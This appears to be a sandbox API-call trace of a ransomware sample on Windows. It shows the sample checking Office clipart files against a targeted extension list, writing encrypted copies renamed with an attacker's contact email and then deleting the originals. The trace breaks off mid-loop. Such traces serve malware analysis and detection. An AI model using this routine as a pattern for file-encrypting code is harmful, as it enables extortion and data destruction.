	[0171.376] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0171.377] ReadFile (in: hFile=0x364, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.377] WriteFile (in: hFile=0x350, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.377] SetEndOfFile (hFile=0x350) returned 1
	[0171.380] CloseHandle (hObject=0x350) returned 1
	[0171.381] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.381] SetEndOfFile (hFile=0x364) returned 1
	[0171.386] CloseHandle (hObject=0x364) returned 1
	[0171.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1
	[0172.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.810] lstrlenW (lpString=".doc") returned 4
	[0172.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.811] lstrlenW (lpString=".docx") returned 5
	[0172.811] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0172.811] lstrlenW (lpString=".pdf") returned 4
	[0172.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.811] lstrlenW (lpString=".xls") returned 4
	[0172.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.811] lstrlenW (lpString=".xlsx") returned 5
	[0172.811] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0172.811] lstrlenW (lpString=".ppt") returned 4
	[0172.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.811] lstrlenW (lpString=".zip") returned 4
	[0172.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.811] lstrlenW (lpString=".rar") returned 4
	[0172.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.812] lstrlenW (lpString=".bz2") returned 4
	[0172.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.812] lstrlenW (lpString=".7z") returned 3
	[0172.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.812] lstrlenW (lpString=".dbf") returned 4
	[0172.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.812] lstrlenW (lpString=".1cd") returned 4
	[0172.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0172.812] lstrlenW (lpString=".jpg") returned 4
	[0172.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.383] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=6860) returned 1
	[0173.383] CloseHandle (hObject=0x458) returned 1
	[0173.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220
	[0173.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0173.385] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.385] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.388] GetLastError () returned 0x0
	[0173.388] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0173.407] WriteFile (in: hFile=0x558, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0173.409] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.409] WriteFile (in: hFile=0x558, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.409] SetEndOfFile (hFile=0x558) returned 1
	[0173.409] CloseHandle (hObject=0x558) returned 1
	[0173.409] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.409] SetEndOfFile (hFile=0x458) returned 1
	[0173.413] CloseHandle (hObject=0x458) returned 1
	[0173.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1
	[0173.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.416] lstrlenW (lpString=".doc") returned 4
	[0173.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.416] lstrlenW (lpString=".docx") returned 5
	[0173.416] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.416] lstrlenW (lpString=".pdf") returned 4
	[0173.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.416] lstrlenW (lpString=".xls") returned 4
	[0173.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.416] lstrlenW (lpString=".xlsx") returned 5
	[0173.416] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.416] lstrlenW (lpString=".ppt") returned 4
	[0173.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.416] lstrlenW (lpString=".zip") returned 4
	[0173.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.416] lstrlenW (lpString=".rar") returned 4
	[0173.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.417] lstrlenW (lpString=".bz2") returned 4
	[0173.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.417] lstrlenW (lpString=".7z") returned 3
	[0173.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.417] lstrlenW (lpString=".dbf") returned 4
	[0173.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.417] lstrlenW (lpString=".1cd") returned 4
	[0173.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68
	[0173.417] lstrlenW (lpString=".jpg") returned 4
	[0173.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.418] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10836) returned 1
	[0173.418] CloseHandle (hObject=0x458) returned 1
	[0173.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220
	[0173.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0173.419] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.419] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.420] GetLastError () returned 0x0
	[0173.420] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2a54, lpOverlapped=0x0) returned 1
	[0173.425] WriteFile (in: hFile=0x558, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0173.426] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.426] WriteFile (in: hFile=0x558, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.426] SetEndOfFile (hFile=0x558) returned 1
	[0173.428] CloseHandle (hObject=0x558) returned 1
	[0173.437] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.437] SetEndOfFile (hFile=0x458) returned 1
	[0173.442] CloseHandle (hObject=0x458) returned 1
	[0173.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1
	[0173.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.446] lstrlenW (lpString=".doc") returned 4
	[0173.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.446] lstrlenW (lpString=".docx") returned 5
	[0173.447] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.447] lstrlenW (lpString=".pdf") returned 4
	[0173.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString=".xls") returned 4
	[0173.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.447] lstrlenW (lpString=".xlsx") returned 5
	[0173.447] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.447] lstrlenW (lpString=".ppt") returned 4
	[0173.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.447] lstrlenW (lpString=".zip") returned 4
	[0173.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.447] lstrlenW (lpString=".rar") returned 4
	[0173.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString=".bz2") returned 4
	[0173.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString=".7z") returned 3
	[0173.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.447] lstrlenW (lpString=".dbf") returned 4
	[0173.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.447] lstrlenW (lpString=".1cd") returned 4
	[0173.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0173.447] lstrlenW (lpString=".jpg") returned 4
	[0173.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.448] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=12204) returned 1
	[0173.449] CloseHandle (hObject=0x458) returned 1
	[0173.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220
	[0173.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0173.450] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.450] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.451] GetLastError () returned 0x0
	[0173.451] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2fac, lpOverlapped=0x0) returned 1
	[0173.685] WriteFile (in: hFile=0x554, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2fb0, lpOverlapped=0x0) returned 1
	[0173.686] ReadFile (in: hFile=0x458, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.686] WriteFile (in: hFile=0x554, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.687] SetEndOfFile (hFile=0x554) returned 1
	[0173.687] CloseHandle (hObject=0x554) returned 1
	[0173.687] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.687] SetEndOfFile (hFile=0x458) returned 1
	[0173.690] CloseHandle (hObject=0x458) returned 1
	[0173.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1
	[0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.031] lstrlenW (lpString=".doc") returned 4
	[0174.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.031] lstrlenW (lpString=".docx") returned 5
	[0174.031] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0174.031] lstrlenW (lpString=".pdf") returned 4
	[0174.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.031] lstrlenW (lpString=".xls") returned 4
	[0174.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.031] lstrlenW (lpString=".xlsx") returned 5
	[0174.031] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0174.031] lstrlenW (lpString=".ppt") returned 4
	[0174.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.031] lstrlenW (lpString=".zip") returned 4
	[0174.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.031] lstrlenW (lpString=".rar") returned 4
	[0174.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.031] lstrlenW (lpString=".bz2") returned 4
	[0174.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.031] lstrlenW (lpString=".7z") returned 3
	[0174.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.032] lstrlenW (lpString=".dbf") returned 4
	[0174.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.032] lstrlenW (lpString=".1cd") returned 4
	[0174.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0174.032] lstrlenW (lpString=".jpg") returned 4
	[0174.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.033] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=3060) returned 1
	[0174.033] CloseHandle (hObject=0x578) returned 1
	[0174.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220
	[0174.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.034] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.034] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.035] GetLastError () returned 0x0
	[0174.035] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xbf4, lpOverlapped=0x0) returned 1
	[0174.059] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0174.060] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.061] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.061] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.061] CloseHandle (hObject=0x4d8) returned 1
	[0174.061] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.061] SetEndOfFile (hFile=0x578) returned 1
	[0174.065] CloseHandle (hObject=0x578) returned 1
	[0174.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1
	[0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.067] lstrlenW (lpString=".doc") returned 4
	[0174.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.067] lstrlenW (lpString=".docx") returned 5
	[0174.067] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0174.067] lstrlenW (lpString=".pdf") returned 4
	[0174.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.067] lstrlenW (lpString=".xls") returned 4
	[0174.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.067] lstrlenW (lpString=".xlsx") returned 5
	[0174.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
